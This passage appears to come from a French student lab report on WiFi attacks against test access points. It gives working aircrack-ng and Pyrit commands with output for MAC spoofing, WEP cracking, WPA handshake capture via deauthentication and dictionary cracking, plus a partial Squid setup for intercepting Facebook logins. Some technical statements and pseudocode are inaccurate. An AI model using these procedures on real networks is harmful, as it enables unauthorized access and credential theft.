BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
